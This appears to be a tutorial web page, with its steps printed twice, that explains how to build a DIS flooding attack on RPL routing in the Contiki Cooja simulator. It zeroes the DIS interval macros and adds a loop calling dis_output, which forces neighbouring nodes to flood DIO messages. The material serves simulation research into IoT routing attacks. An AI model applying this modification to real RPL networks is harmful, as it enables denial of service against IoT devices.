How to create the DIS attack in RPL in Contiki cooja simulator?

Generating a large amount of traffic through DIS messages, causing nodes within ranges are to send DIO messages (using advertise information about DODAG to new nodes) and reset their trickle timers.

Description

Generating a large amount of traffic through DIS messages, causing nodes within ranges are to send DIO messages (using advertise information about DODAG to new nodes) and reset their trickle timers.

  • Step 1: Open the file at location:

    home/user/contiki/core/net/rpl/

    rpl-private.h – Here defines and declared default values for control messages.

    #define RPL_DIS_INTERVAL 0

    #define RPL_DIS_START_DELAY 0

    To launch dis attack, macros defined with default values .set it as 0 .

u1a
  • Step 2: Open a file

    rpl-timers.c The function handling the operation DIS message send time interval

    Static void handle_periodic_timer(void *ptr)

    Code:

    int i=0;

    while(i<10){

    i++;

    dis_output(NULL);

    }

Source code:
  • Step 1: Open the file at location:

    home/user/contiki/core/net/rpl/

    rpl-private.h – Here defines and declared default values for control messages.

    #define RPL_DIS_INTERVAL 0

    #define RPL_DIS_START_DELAY 0

    To launch dis attack, macros defined with default values .set it as 0 .

u1a
  • Step 2: Open a file

    rpl-timers.c The function handling the operation DIS message send time interval

    Static void handle_periodic_timer(void *ptr)

    Code:

    int i=0;

    while(i<10){

    i++;

    dis_output(NULL);

    }

Leave Comment

Your email address will not be published. Required fields are marked *

clear formSubmit